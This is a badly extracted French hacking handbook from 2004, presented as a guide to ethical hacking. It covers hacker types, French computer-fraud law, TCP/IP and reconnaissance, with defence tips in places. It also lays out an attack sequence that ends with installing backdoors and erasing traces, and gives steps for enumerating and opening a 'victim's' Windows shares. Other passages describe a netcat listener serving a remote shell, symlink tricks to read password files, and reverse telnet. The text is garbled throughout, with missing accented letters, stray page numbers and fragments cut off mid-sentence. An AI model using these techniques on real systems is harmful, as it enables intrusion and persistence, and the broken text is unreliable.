Académique Documents
Professionnel Documents
Culture Documents
(dark_khaalel@yahoo.fr) (http://cksecurity.free.fr,
http://ckdownload.free.fr et www.cksecurity.fr.fm)
HACKING / SECURITE
HAND-BOOK
(OU
COMMENT DEVENIR UN HACKER ETHIQUE)
Bienvenue tous.
Alors, en premier je vais me prsenter rapidement, ensuite je vais vous dire le
pourquoi de cet ouvrage et. Et bien si vous tes intress par le hacking dit thique
dans toute sa splendeur (ne vous inquitez pas, je ne suis pas un malade chuis juste un
passionn) vous lirez (jespre avec joie) cet ouvrage.
a) qui suis-je ?
Lorsque nous nous interrogeons: "Qui suis-je ?", nous considrons comme allant de soi que lon
est; la seule question est de connatre qui lon est. Nous avons prsuppos que nous sommes, cela n'
est
pas contest, c'
est considr comme allant de soi que nous sommes. Maintenant la seule question est:
Qui sommes-nous ?. Seule l'
identit doit tre connue, le visage doit tre mconnu, mais il est l,
mconnu mais l.
PHRASE DUN BOUDDHISTE THIBETAIN.
Alors, je suis un parisien de 17 ans (en 2004). Jai dcouvert linformatique en 4me et
a t comme une drogue (bon vous voyez de quoi je veux parler). En classe de
3me, jai dcouvert la programmation et le hacking (grce un ami)
Deux ans ont pass et je suis encore l pour vous prsenter lun de mes plus grands
projets : cet ouvrage. Voil pas besoin den connatre plus mon sujet.
b) cet ouvrage
Alors, pourquoi avoir crit cet ouvrage ?
Premirement, par dfi.
Deuximement, jadhre la philosophie qui prne la diffusion de certains savoirs.
Troisimement, il y a quelques mois, jai lu un article qui parlait dun jeune hacker
indien de 16 ans qui avait crit un livre sur le hacking, je lai longuement cherch sur
les rayons des librairies que jai lhabitude de frquenter et ne layant pas trouv je
me suis dcid crire ce bouquin.
Et pour finir, jai lu un article, il y a quelques mois de cela, disant quun pirate devait
se reconvertir et se mettre du ct de la scurit : je me suis donc dcid le faire
(jespre que je serait bien plus productif pour la communaut informatique quavant)
J'
espre que cet ouvrage apportera de l'
aide aussi bien aux hackers (jai bien dit
hacker et pas lamers), qu'
aux dveloppeurs en passant par les administrateurs
SOMMAIRE
I
Introduction
Language C
Python
Quelques fonctions de la PCAP
Winsock (1re partie)
Un crack/patch
Scanner de ports
Clients/serveurs TCP et UDP
Sniffers
Virus batch
Introduction
La scurit informatique, un domaine important notre poque est encore trop
souvent laiss de ct par des entreprises ou des particuliers jusqu'
au jour o ils
s'
aperoivent que leurs systmes ont t visits par un pirate informatique, que leurs
donnes confidentielles (logins, mots de passe, informations bancaires, feuilles de
paie) ont t drobes ou copies, qu'
ils taient espionns
Jai crit ce livre dans le but de fournir un guide des armes ncessaires pour la
scurisation des rseaux et des systmes en montrant et expliquant les armes, outils et
techniques des pirates. Il na pas la prtention dtre une rfrence en la matire car
un tel ouvrage ne ferait pas moins de 3000 pages et devrait tre mis jours chaque
semaine.
Certaines personnes seront bien sur contre la publication dun tel ouvrage car elle
dveloppe et dcrit les techniques quutilisent les pirates et peut inciter les lecteurs
pirater des systmes. Ils nont pas tord. Mais quils sachent que ce livre a pour but
premier daider les internautes et les administrateurs scuriser leurs rseaux et les
systmes.
expliquant des failles spcifiques comme celle qui touche une version de ssh et qui
peut permettre davoir les pouvoirs root du serveur vulnrable).
Organisation du livre
Partie I : Les bases
Qui sont vraiment ces hackers ?
TCP/IP
Partie II : Hacking/Scurit informatique
Faire des recherches sur la futur cible,
Infiltrer, pirater et scuriser les systmes dexploitations,
Techniques avances de piratage,
Piratage de composants rseaux,
Piratage logiciel,
Cryptographie.
Partie III : Programmation rseau
Le language C et le language Python,
Fonctions de la PCAP,
Winsock.
Partie IV : Dveloppement doutils de scurit
Un crack/patch,
Scanner de ports basique,
Clients/serveurs TCP et UDP basiques,
Sniffers,
Virus batch.
Partie V : Annexes
Principes de scurit,
Commandes DOS,
Ports utiliss par certains troyens,
Cracking dun application,
Challenge de cracking.
Les hackers
10
Les hackers ne sont pas seulement ces dlinquants du web, comme le montrent les
mdias, qui passent leurs journes pirater des systmes et des logiciels dans le but
de faire couler des socits ou de ruiner l'
conomie. Certes certains pirates aiment
dtruire et piller des donnes confidentielles dans un but de dfi, pour de l'
argent ou
pour le plaisir. Mais il ne faut pas faire d'
amalgame : tous les hackers ne sont pas
comme cela.
Mais alors qui sont ces hackers ? et comment sorganisent-ils ?
La famille des hackers est bien structure :
- en premier, il y a les newbies (dbutants) : ce sont gnralement des
adolescents fascins par les exploits de certains hackers et qui se sont mis
apprendre tout ce qu'
ils pouvaient dans le domaine de l'
informatique.
- ensuite, il y a les intermdiaires, anciens newbies qui ont acquis une
somme de connaissances en scurit informatique, programmation et sur
les rseaux.
- puis il y a les Whites Hat Hackers, des lites en hacking qui programment
longueur de journe et ne font que rechercher des failles dans les
systmes, logiciels
Ces 3 prcdents membres de la famille des hackers travaillent pour une amlioration
de la structure.
Maintenant, voyons d'
autres membres de la famille des hackers qui travaillent dans le
ct obscur du hacking. Ils prfrent profiter des failles et les exploitent pour le
plaisir ou pour de l'
argent :
- il y a, en premier, les lamers, des tres dune nullit inimaginable, ne
faisant quutiliser des programmes tout fait (surtout des logiciels servant
faire du nuke, du mail bombing) et qui n'
arrtent pas de se vanter d'
tre
les meilleurs pirates du monde, d'
avoir pntr des systmes comme ceux
de la NASA, des gouvernements On les retrouve surtout sur IRC et
ICQ.
- ensuite, il y a les Blacks Hat Hackers, des lites qui prfrent dtruire tout
systme qui leur tombent sous la main.
Voici maintenant d'
autres membres que l'
on ne peut classer avec les autres :
- les phreakers : ce sont des personnes sinfiltrant dans les systmes
tlphoniques. Forts de leurs connaissances dans les rseaux
tlphoniques commuts et en lectronique, ils peuvent construire des
systmes lectroniques (appels Box ) ayant des fonctions bien
dfinies comme avoir la possibilit de tlphoner l'
autre bout de la terre
sans dbourser d'
argent , de tlphoner sur le compte d'
une entreprise
- les crackers : ce sont des personnes piratant les logiciels payants de faon
pouvoir les utiliser indfiniment sans dpenser d'
argent. Ce sont des
lments importants mes yeux, car certains aiment aussi trouver des
failles dans les logiciels.
11
La loi
Maintenant voyons ce que dit la loi au sujet du piratage informatique. ATTENTION,
je nai pas pris en compte la LEN car au moment o jcrit, elle nest quun projet.
Loi n 88-19 du 5 janvier 1988
relative la fraude informatique
Journal officiel du 6 janvier 1988
L'assemble nationale et le Snat ont adopt.
Le prsident de la Rpublique promulgue la loi dont la teneur
suit :
Article unique
Dans le titre II du livre III du code pnal, il est insr,
aprs le chapitre II, un chapitre III ainsi rdig:
Chapitre III
De certaines infractions en matire informatique
Article 462-2
Quiconque, frauduleusement, aura accd ou se sera maintenu
dans tout ou partie d'un systme de traitement automatis de
donnes sera puni d'un emprisonnement de deux mois a un an et
12
13
Article 462-7
Le tribunal pourra prononcer la confiscation des matriels
appartenant au condamn et ayant servi commettre les
infractions prvues au prsent chapitre.
14
Voici un autre article de la loi qui est ds fois ajoute aux prcdentes :
Article 131-39 du code pnal
Lorsque la loi le prvoit l'encontre d'une personne morale,
un crime ou un dlit peut tre sanctionn d'une ou plusieurs
des peines suivantes :
1 La dissolution, lorsque la personne morale a t cre ou,
lorsqu'il s'agit d'un crime ou d'un dlit puni en ce qui
concerne les personnes physiques d'une peine d'emprisonnement
suprieur cinq ans, dtourne de son projet pour commettre
les faits incrimins ;
2 L'interdiction, titre dfinitif ou pour une dure de cinq
ans au plus, d'exercer directement ou indirectement une ou
plusieurs activits professionnelles ou sociales ;
3 Le placement, pour une dure de cinq ans au plus, sous
surveillance judiciaire ;
4 La fermeture dfinitive ou pour une dure de cinq ans au
plus des tablissements ou de l'un ou de plusieurs des
15
Avant de passer au vif du sujet, vous devez savoir comment se droule le piratage
d'
un systme.
Si le mot piratage vous fait peur ou vous gne, dites-vous bien quavant de
scuriser un systme, il faut toujours faire des tests de pntration (appels Pen-Test)
pour cibler les failles
De plus pour contrer efficacement une personne, il faut soit penser comme elle, soit
connatre ses limites : cela s'
applique aussi aux pirates informatique et la
connaissance de leurs limites passe par la connaissance des techniques de piratage.
En gros pour scuriser un systme, il faut se mettre la place dun pirate.
Le droulement logique d'
une attaque commence par la recherche d'
informations sur
le systme cible aussi bien dans les sources publiques que sur le systme.
Puis il va falloir essayer de s'
y infiltrer sans tre remarqu.
Arriv ce point, il faut essayer de trouver des informations qui vont nous permettre
d'
obtenir les droits dadministrateur.
Enfin il va falloir installer des backdoors (des programmes qui vont nous permettre de
revenir facilement sur le systme cible).
Pour finir il faut masquer et effacer ces faits et gestes sur le systme.
16
17
TCP / IP
18
TCP/ IP est une pile de protocoles qui sert faire communiquer entre elles des
machines htrognes.
le modle OSI :
En 1984, lOSI (Open System Interconnect) un ensemble de spcifications sur la
structuration des protocoles et des systmes a t cr.
Le modle OSI est constitu de 7 couches (ou niveaux) qui assurent chacunes une
fonction et intgrent un certain nombre de protocoles.
la couche physique :
Elle a pour but de transporter des donnes (signaux produits par les systmes et
devant tre envoys d'
autres systmes) au travers des divers moyens de transport
prsents dans les rseaux (cbles, fibres).
la couche rseau :
19
Elle a pour but de grer tous les problmes concernant les rseaux (adressage,
invalidit, indisponibilit) .
la couche transport :
Elle a pour but d'
assurer que les systmes communiquent bien entre eux, mais aussi
que les paquets sont bien transmis.
la couche session :
Elle a pour but de contrler les liaisons entre les systmes pour qu'
ils puissent
communiquer correctement. Elle ne fait que contrler et ntablit aucune liaison car
c'
est la fonction de la couche transport d'
tablir la session, la demande de la couche
session.
la couche prsentation :
Elle a pour but de convertir les donnes fournies par l'
utilisateur dans un type de
donnes ( ou langage) comprhensible par tous les systmes. Un peu comme lXML
qui peut servir un script en PHP qui pourrait envoyer des donnes un script en
REBOL.
la couche application :
Elle a pour but de permettre l'
utilisateur d'
utiliser les services (grce aux protocoles)
offerts par son systme.
Quelques protocoles :
TCP / IP enveloppe beaucoup de protocoles dont TCP, IP, UDP, ARP, RARP, ICMP,
IGMP, SNMP, RIP, OSPF, BGP, EGP, DRP, IGRP, EIGRP, NCP, PPP, SMTP, FTP,
POP/IMAP, DHCP, HTTP, OSPFIGP
Il existe d'
autres piles de protocoles :
NetBIOS / NetBEUI
et
IPX/IPS
Petites explications :
IP
20
Version
IHL
Type de
service
Identificateur
TTL
TCP
Longueur du paquet
Flags
Offset du
Fragment
Protocole
Cheksum den-tte
Adresse IP source
Adresse IP cible
Options / remplissage ( padding )
Zones de donnes
port destination
numro de squence
accus de rception
dcalage
rserv urg ack psh rst syn fin
fentre
donnes
somme de contrle (checksum)
pointeur de donnes urgentes
options
remplissage (padding)
donnes
UDP
21
Type
ID
Code
Donnes
Cheksum
Numro de squence
Sockets :
Pour faire communiquer des systmes travers le rseau, des chercheurs ont cr ce
que lon appelle des sockets.
Maintenant quoi que lon fasse sur un rseau, on utilise sans le savoir (ou plutt sans
sen proccuper) des sockets.
Pour information, les sockets sont principalement constitus dune adresse IP et dun
port de communication.
22
23
Partie II :
Hacking / Scurit
24
25
Sources publiques
whois :
Les whois sont des services proposs gratuitement en ligne et qui permettent
dobtenir des informations sur un domaine particulier, sur une adresse de messagerie.
Grce ses bases de donnes comme :
whois.ripe.net : qui s'
occupe d'
attribuer des adresses IP pour l'
Europe.
whois.apnic.net : qui s'
occupe d'
attribuer des adresses IP pour l'
Asie
Pacifique.
whois.nic.mil : qui gre l'
attribution des adresses IP des systmes
militaires amricains.
whois.nic.gov : qui gre lattribution des adresses IP des systmes du
gouvernement amricain.
linternic : le plus connu.
La liste n'
est pas finie, mais vous pouvez facilement en trouver dautres sur Internet
grce google.
Pour obtenir les informations donnes par un whois, vous pouvez choisir d'
utiliser la
commande whois de Unix, des programmes comme WS Ping Pro Pack, ou vous
pouvez aller sur un site proposant une base de donnes de recensement des noms de
domaine.
26
le site de la cible :
Si la cible a un site, vous devez le parcourir la recherche dadresses mails et d'
autres
informations prcieuses. Ne pas hsiter parcourir le code source des pages dans le
but de recenser des commentaires, ou des caractristiques qui pourraient permettre de
remonter aux dveloppeurs.
Les aspirateurs de sites permettent dautomatiser ces recherches, en voici une liste:
Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :
Teleport pro
NT/95/98/2000/ME/XP
dmo
Tenmax
Trs bon aspirateur de sites web, qui va
dupliquer le site sur le disque dur et que
lon va pouvoir visiter hors ligne. Permet
aussi de rapatrier des fichiers spcifiques
(comme les fichiers vidos ou les pages
contenant un certain mot).
27
Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :
HTTrack
NT/95/98/2000/ME/XP
freeware
Xavier Roche & Yann Philippot
Un trs bon aspirateur qui permet de
rcuprer tous les fichiers dun site. Il
permet aussi de mettre jour un site dj
existant sur notre disque dur, faire des
copies miroir dun site dj en ligne
Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :
WebCopier
NT/95/98/2000/ME/XP
shareware
MaximumSoft Corp.
Cest un autre aspirateur de sites web.
Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :
SmartBud
NT/95/98/2000/ME
freeware
Atom e-City Ltd.
Un superbe aspirateur de sites webs, qui a
normment de qualits (en faites , je ne
lui trouvons aucun dfaut) que vous devez
dcouvrir.
Pour plus de logiciels , allez sur la page : http://www.idf.net/info/table.html.
Pour information, le code PHP dune page nest pas visible car il est interprt.
28
divers :
Les pages jaunes peuvent tre une trs bonne documentation de base pour avoir
certaines informations sur l'
entreprise ou un particulier comme des numros de
tlphone qui vous permettront de lancer des attaques sur le rseau tlphonique.
La presse pourrait aussi vous donner des informations utiles sur les entreprises
comme leur politique de scurit partir dun interview dun des employs et pleins
dautres informations, mais cela dpend bien sr de l'
entreprise, de son domaine
d'
application, de sa renomme
Si votre cible est cote en Bourse, fusionne, rachte, crer des filiales, vous pouvez
accder ces informations qui sont toutes stockes dans des bases de donnes comme
celle de Edgar de Sec. ( qui se situe l'
adresse http://www.sec.gov).
29
Parades :
Il n'
y a pas de parade ceci car vous ne pouvez contrler l'
accs ces informations et
si vous donner de fausses informations vous ne respecter plus les chartes donc donner
chaque fois que le strict minimum. En ce qui concerne lingnierie sociale, formez
le personnel, en leur expliquant quils doivent, par exemple, contacter un des chef
lors de ce genre d'
appel avant de donner des informations.
30
31
qu'
une personne interrompe cela l'
aide de CTRL + C
-a : qui permet de rsoudre une adresse IP en nom
dhte
-i x : qui permet de dterminer le TTL des paquets
ping (x doit tre compris entre 1 et 255)
-n x : qui permet d'
envoyer un nombre dtermin de
paquet ICMP_ECHO_REQUEST.
Ce sont les options les plus importantes de la commande Ping sous MS-DOS.
Pour information la commande Ping envoi des paquets et grce protocole
ICMP_ECHO_REQUEST et reoit des paquets de type ICMP_ECHO_REPLY.
Exemple
dutilisation
de la
commande
ping sous
windows :
32
traceroute et tracert :
Traceroute (pour Linux) et tracert (pour Windows) permettent de tracer et suivre le
chemin qu'
emprunter un paquet quelconque jusqu'
au systme cible. On peut aussi
dterminer la topologie dun rseau. Normalement, la dernire adresse IP marque
doit tre celle du destinataire. Si a n'
est pas le cas, un systme filtrant est plac avant
le systme du destinataire.
traceroute utilise par dfaut le protocole UDP pour l'
envoi des paquets, il peut aussi
utiliser le protocole ICMP. tracert lui fonctionne de manire inverse traceroute ,
car il utilise par dfaut le protocole ICMP pour l'
envoi des paquets et peut utiliser le
protocole UDP.
Astuces : affectez le port TCP 53 vos paquets envoys avec traceroute et tracert
car ce port n'
est gnralement pas filtr par les systmes de filtrage de paquets (cf
chapitre sur les murs par-feu) .
Exemple
dutilisation
de la
commande
tracert sous
windows :
TRIDCOMM
Tous les windows
freeware
Fournit un ping et un tracert sur
fond de carte terrestre dans le but
de savoir dans quel endroit est situ
le systme trac
33
Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :
Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :
34
finger :
C'
est un utilitaire qui permet d'
obtenir des informations sur les utilisateurs d'
un
systme. C'
est aussi un protocole utilisant par dfaut le port 79.
35
Et bien ces genres de messages peuvent tre utiles aux pirates, car cela peut leur
permettre de dterminer le type et la version du serveur cible.
Pour obtenir ces informations, vous pouvez amener le serveur produire une erreur
en mettant par exemple une adresse pointant vers un fichier n'
existant pas.
Fates marcher vtre imagination et vous verrez que vous aurez des informations plus
prcises sur le serveur comme le chemin d'
accs au rpertoire /cgi-bin/ , le chemin
d'
accs au rpertoire web.
bannires :
Une bannire est un bloc de texte que l'
on obtient lorsque l'
on se connecte au port
d'
un systme. Une bannire donne gnralement le systme d'
exploitation, la version
et le nom du serveur (si l'
on se connecte sur un serveur situ sur la cible, comme un
serveur FTP) .
La meilleure parade serait de modifier la bannire, le port par dfaut du service ou
modifier limplmentation de TCP/IP du systme d'
exploitation ou en muler un autre
la place car c'
est cette implmentation qui est responsable de la dtermination du
systme dexploitation.
Pourquoi ?
Parce que les systmes sont programms par des personnes diffrentes qui n'
ont pas la
mme manire de programmer.
36
transfert de zones :
D'
abord revoyons quelques notions de rseau, surtout celles qui concernent les
serveurs DNS ( Domaine Name Server) .
Un serveur DNS est un composant rseau qui est principalement charg de faire
certaines rsolutions pour faciliter la vie des hommes et des systmes. Gnralement,
les grosses entreprises possdent un serveur DNS voir plusieurs, chargs de
rsolutions internes.
Passons un exemple pour mieux comprendre le travail des serveurs DNS. En
premier, rappelez-vous que les noms dhtes et les adresse IP sont unique au monde.
Lorsque vous saisissez l'
adresse d'
un site web dans votre navigateur, votre requte est
passe par un systme de rsolution de nom de domaine, qui la prise comme une
requte de type A (qui consiste rsoudre un nom dhte en adresse IP, car les
ordinateurs ne comprennent que les chiffres) et vous renvoie la rponse quil a
normalement reu des systmes DNS, ayant autorit sur le domaine recherch.
Bon cela ne se passe peut-tre pas forcment ainsi, cela dpend de plusieurs points
comme votre configuration rseau
Avant de passer la manire dont les pirates exploitent les informations que traitent
les DNS, nous allons tudier ensemble les diffrentes types de requtes que peuvent
traiter les DNS, cette partie est trs importante car d'
abord vous allez apprendre
comment fonctionnent rellement les DNS et savoir sur quoi se base les pirates
exploitant les mauvaises configurations de ces DNS.
Les requtes
Les requtes
A
Buts
Permet de rsoudre un nom dhte en adresse
IP. Pour cela, il vous faut le nom dhte de la
machine rsoudre et ladresse du DNS ayant
autorit sur la machine.
Permet davoir tous les enregistrements quun
serveur DNS dans son cache propos dune
machine particulire. Pour cela, il vous faut le
nom dhte ou ladresse IP de la machine
cible et ladresse du DNS ayant autorit sur la
machine.
Permet de faire un transfert de zone sur un
DNS. Il vous faut ladresse du DNS
autoritaire et le nom de domaine de la cible
(ex : free.fr, sans le www.)
ANY
AXFR
37
CNAME
(Cannonical Name)
HINFO
(Host Info)
MX
(Mail exchange)
NS
(Name Server)
PTR
(Pointer)
SOA
(Start Of Autority)
Un transfert de zones
Lorsque un serveur DNS secondaire a besoin de mettre jour ses enregistrements (ce
sont les informations quun serveur DNS a dans son cache concernant les systmes
sur lesquels il a autorit), il fait ce que lon appelle un transfert de zone partir du
serveur DNS principal (qui a gnralement autorit sur toutes les machines du
rseau). Maintenant si un pirate faisait un transfert de zone la place dun serveur
secondaire, il aurait sur son cran toutes les informations concernant le rseau de sa
cible sans scanner les machines du rseau et sans faire de recherches.
Certains programmes qui permettent d'
interroger un DNS vont demander de fournir
des donnes comme le nom de domaine cible et le nom du DNS autoritaire du
domaine (gnralement le premier DNS du rseau cible) .
Pour trouver ces informations, consulter une base donnes whois au sujet du domaine
cible.
Voici des logiciels permettant dinterroger les DNS :
38
Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :
DNS Expert
NT/95/98/2000
demo
Men&Mice
Permet de faire des requtes DNS
Nom du logiciel :
OS viss :
rPing
Tous les windows
39
Licence :
Editeur ou Auteur :
Le but du logiciel :
shareware
Fournir tous les utilitaires utiles pour un
rseau : ping, traceroute, lookup
Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :
Nom du logiciel :
IPCHECK
cartographie :
Cartographier un rseau va nous permettre d'
obtenir la topologie du rseau et la
localisation des lments du rseau. Les logiciels permettant de cartographier un
rseau font partie des couteaux suisses de la bote outils des administrateurs mais
aussi des pirates car cela va leur permettre d'
analyser et de surveiller les systmes du
rseau.
40
Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :
CHEOPS
Open Source
Mark Spencer
Cartographier un rseau et donner sous
forme graphique les systmes du rseau.
Fournit aussi un ping, tracert
41
Les informations voulues sont situs dans les en-tte du message quil vous a
renvoy, pour ne pas surcharger le livre je nai pas dtailler ici la mthode car elle est
dcrite dans le chapitre consacr aux messageries et aux cookies.
Vous pouvez aussi recenser les utilisateurs et les comptes sous Windows NT l'
aide
de la commande nbtstat.
Sous DOS il faut taper :
c:WINDOWS nbtstat -A IP_de_la_victime
Normalement vous aurez un truc pareil ce qui suit si votre victime est en rseau:
NetBIOS Remote Machine Name Table
Name Type Status
-------------------------------------------------------KHAALEL<00> UNIQUE Registered
WORKGROUP <00> GROUPE Registered
KHAALEL <03> UNIQUE Registered
KHAALEL <20> UNIQUE Registered
WORKGROUP <1E> GROUPE Registered
MAC Address = 00-00-00-00-00-00
Ici c'
est la ligne avec le numro <20> qui nous intresse car la plupart du temps c'
est
42
Puis taper:
IP_de_la_victime KHAALEL(le nom se trouvant la place) #PRE
Ensuite tapez
c:WINDOWS nbtstat R
Ensuite allez sous dmarrer > rechercher > ordinateur inscrivez dans la case le nom
de l'
ordinateur cible. Cliquez sur le nom avec un click droit puis slectionnez ouvrir
ou explorer.
Vous pouvez faire un recensement des bannires l'
aide de Telnet pour connatre les
services qui tournent sur le systme cible.
Voici une liste de programmes qui permettent de recenser des informations sur un
systme.
Utilitaires
Nbtscan
DumpACL
getmac
netviewx
nltest
net view
NetBios Auditing Tool ( NAT)
netstat
nbtstat
NTRK
NTInfoScan
Fonctions
Permet de faire la commande nbtstat sur
plusieurs IP et sans avoir les retaper
chaque test.
Recense les ressources partages sur le
systme cible .
(www.somarsoft.com)
Permet dobtenir ladresse MAC de la cible.
Permet dobtenir les services et les systmes
dun domaine.
( voir plus haut pour plus dinformations )
Scanner et balayeur NetBIOS
( voir plus haut pour plus dinformations )
( voir plus haut pour plus dinformations )
NT Ressource Kit. Cest un ensemble de
petits utilitaires fournis par Microsoft et qui
permettent ds fois dadministrer un systme
distance. Les pirates peuvent donc lutiliser
pour obtenir certaines informations.
( ftp://ftp.microsoft.com/bussys/winnt/winntpublic/reskit/ )
Scanner de systmes la recherche de
services. Il permet aussi dobtenir des
43
enum
netcat
Unix :
Comme sous Windows, on peut recenser les ressources partages et recenser les
utilisateurs mais les commandes sont bien sr diffrentes.
Pour recenser les ressources partages, on peut utiliser la commande showmount, et
pour recenser les utilisateurs il faut utiliser la commande finger. On peut aussi
recenser les bannire grce netcat.
de ISS (www.iss.net)
de
eeye
Scanners gratuits
Nessus
de www.nessus.org
Nmap
de www.insecure.org
44
45
Infiltration, piratage et
scurisation des systmes
dexploitation
46
Windows
Nous allons ensemble tudier les techniques de base de piratage de windows. Surtout
les techniques que l'
on peut faire distance car c'
est le principal accs qu'
un pirate
peut avoir sur un systme windows.
Pour savoir le systme tournant sur un ordinateur, on peut utiliser nmap ou hping qui
permettent de dterminer le systme dexploitation et sa version. Pour pouvoir
raliser cette identification les logiciels vont analyser l'
implmentation de TCP/ IP de
la machine en scannant ses ports. Pourquoi ? Car chaque personne sa manire de
programmer donc a aussi sa manire d'
implmenter la pile de protocole TCP/ IP sur
un systme d'
exploitation.
Pour que nmap et ses compres ne puissent dterminer avec certitude le systme
d'
exploitation tournant sur votre ordinateur, il n'
y a pas plusieurs solutions. La
meilleure serait des changer les informations que les champs des paquets contiennent
par le contenu des mmes champs d'
un paquet mis par un autre systme. Les champs
qu'
il faut changer sont gnralement :
- le champs TTL
- le champs TOS (Type Of Service)
- le champs dfinissant la taille de le fentre
- DF et ACK
Bien sr, seuls les systmes en Open Source peuvent nous permettre de changer cela,
moins que lon sache patcher NT.
Il y a aussi une deuxime mthode qui consiste modifier l'
implmentation de
TCP/IP de votre systme (en Open Source) par un autre que vous aurez crer ou en
mulant celui d'
un autre systme.
Cette petite explication du fingerprinting (prise d'
empreintes du systme
d'
exploitation distance) n'
a pas eu pour but de vous obliger passer sous Linux.
Mais analysez bien ce que l'
open Source peut permettre de faire en connaissant le
langage C. On pourrait avoir une meilleure scurit et moins de problmes, et cela
parce que l'
on aurait facilement accs au code source du noyau.
Maintenant passons au piratage et la scurisation du systme d'
exploitation de
Microsoft.
Pour recenser les services et les ressources partages tant sous Windows, reportezvous au chapitre sur les utilitaires et outils automatiss.
Ce chapitre va se diviser en quatres parties :
- attaque commune tous les Windows
- infiltration et piratage de Windows 9x
47
48
49
Autres :
On peut aussi utiliser les techniques de cracking de mot de passe dcrites au chapitre
traitant du sujet.
50
lophtcrak :
Ce programme permet de craquer les mots de passe du systme (de fichiers Sam) .
Pour cela, rfrez-vous au chapitre sur le piratage de mots de passe.
Lophtcrack a aussi des fonctions de capture de mots de passe (du sniffing en faite)
dans des rseaux de systmes sous Windows. Cette option s'
appelle SMB Relay .
Il y a sur Internet plein de tutoriaux sur l'
utilisation de lophtcrack.
51
un interprteur de commande :
Comme pour linux, on peut obtenir un interprteur de commandes du systme
Windows pour y excuter ce que l'
on veut.
Mais qu'
est-ce qu'
un interprteur de commandes ?
Cest une interface logicielle en mode texte qui nous permet de prendre le contrle de
notre systme : cela correspond en gros la invite de commandes DOS.
Maintenant, voyons comment un pirate va pouvoir se procurer l'
interprteur de
commandes du systme.
Pour notre exemple, on va s'
intresser tout particulirement l'
interprteur Remote
Command Line (remote.exe) de NT. Sachez qu'
il y a aussi Remote Command
Service (rcmdsvc.exe) .
Pour pouvoir raliser l'
attaque du pirate NT, il va nous falloir netcat, on s'
arrangera
pour faire installer un espion netcat sur le systme de la cible.
Netcat est une application qui a de multiples fonctions intressantes est importantes,
c'
est un programme double tranchant car, il peut tre aussi bien utilis par un
administrateur rseau que par un pirate.
Pour connatre toutes les facettes de netcat, rfrez-vous son fichier d'
aide.
Pour cette attaque, on a seulement besoin de configurer un espion netcat pour qu'
il
coute un port du systme cible en attente d'
une connexion.
Nous allons aussi devoir configurer lespion pour qu'
il renvoie linterprteur de
commande (remote.exe) ds quil dtecte une connexion sur le port.
On se connecte aux espions netcat l'
aide de netcat.
exploits :
On peut trouver plusieurs exploits sur Internet qui vont nous permettre daccomplir
des attaques sur le systme ou de contourner certaines protections de l'
administrateur
ou du noyau.
52
autres ressources
RUNDLL32.EXE
Microsoft a implment un utilitaire appel rundll32.exe qui permet dexcuter
les fonctions dune dll sans avoir crer un programme complexe ou non.
Le seul problme avec ce programme est quil nexcute pas les fonctions des APIs
Win32.
Voici la syntaxe de rundll32.exe :
rundll32.exe [nom_dll],[fonction] [options]
53
En premier, on spcifie le nom de la section pour que le fichier sache comment traiter
les instructions excuter.
Exemple :
[DefaultInstall]
CopyFiles
= CopyFiles
[CopyFiles]
programme.exe
user32.dll
permet de dconnecter lutilisateur courant aprs avoir mis fin aux
applications que ce dernier aurait lanc.
BOOL ExitWindow(DWORD dwReserved, UINT uReserved)
54
kernel32.dll
Permet dobtenir le nom de lordinateur.
LPTSTR GetComputerName(LPTSTR lpszName, LPDWORD
lpdwcBuffer)
- LPTSTR lpszName : est un pointeur vers lespace mmoire
kernel32.dll
Permet dobtenir le nom du rpertoire courant.
DWORD GetCurrentDirectory(DWORD dwCurDir, LPTSTR
lpszCurDir)
- DWORD dwCurDir : taille de lespace mmoire qui va contenir
Parades :
-
Installez un jeu le fichier log dans des rpertoires anodins pour que les
pirates ne puissent les modifier tous.
Installez tous les patchs de scurit pour NT
Analysez chaque port de son systme quitte les dsactiver
Vrifiez rgulirement chaque groupe
Ne pas permettre au simple utilisateur d'
installer des programmes
Supprimez ou affectez un mot de passe aux comptes par dfaut
Bloquez l'
accs la base de registre aux utilisateurs devant avoir des
pouvoirs limits
Mettez un mot de passe aux ressources partages
Partagez vos lecteurs et vos imprimantes que si vous en avez vraiment
besoin car le partage est la base de la plupart des failles de Windows
Installez des programmes anti-troyens comme Bouffe-troyen, The
cleaner
Scannez vos ports et analysez ce qui s'
y passent.
55
56
Unix/Linux
techniques de piratage de base :
failles connues :
Pour pntrer un systme et avoir des droits levs sur ce dernier, les pirates utilisent
gnralement des exploit (codes d'
attaque rdigs par d'
autre hackers) servant
pirater une faille spcifique d'
un systme ou d'
un service. L'
utilisation de ces exploits
demande quand mme quelques connaissances sur le systme vis (services tournant
en tche de fond) .
Aprs avoir rcupr assez dinformations sur le systme cible, ils vont devoir faire
des recherches sur Internet pour trouver le bon exploit.
Pour informations, il existe certains sites ddis ces petits programmes.
le code source :
Une des grandes forces de Linux est la possibilit d'
avoir accs son code source.
Pourquoi ne pas en profiter pour y dcouvrir des failles ?
Cela peut-tre un travail de longue haleine mais ncessite que trois lments : le code
source, un scanner de failles parcourant les codes sources (cf le chapitre sur le
piratage de logiciels) et vos connaissances.
57
58
quelques manires que ce soient le lien, le fichier point hritera des autorisations
du lien.
C'
est pour cela, que cette attaque est trs utilise pour obtenir ou effacer le contenu
des fichiers sensibles (/etc/passwd, le fichier shadow, lilo.conf et autres fichiers de
configurations).
Les systmes sous Unix ont gnralement le rpertoire /temp qui n'
est rempli que de
fichiers temporaires quutilisent certains programmes. En dterminant l'
avance le
nom du fichier temporaire que crera un programme, en lui donnant la proprit de
lien symbolique : ds que le programme sera excut, le fichier sensible appartiendra
l'
utilisateur ayant excuter le programme.
telnet invers :
Le telnet invers permet davoir linterprteur de commandes de sa cible avec une
connexion initialise par elle-mme, en faite on va crer une connexion inverse
(cest--dire que le serveur cible va se connecter ntre systme et nous laisser
pouvoir excuter des commandes sur son shell).
Pour cela, on va crer 2 canaux de communications laide des espions de netcat
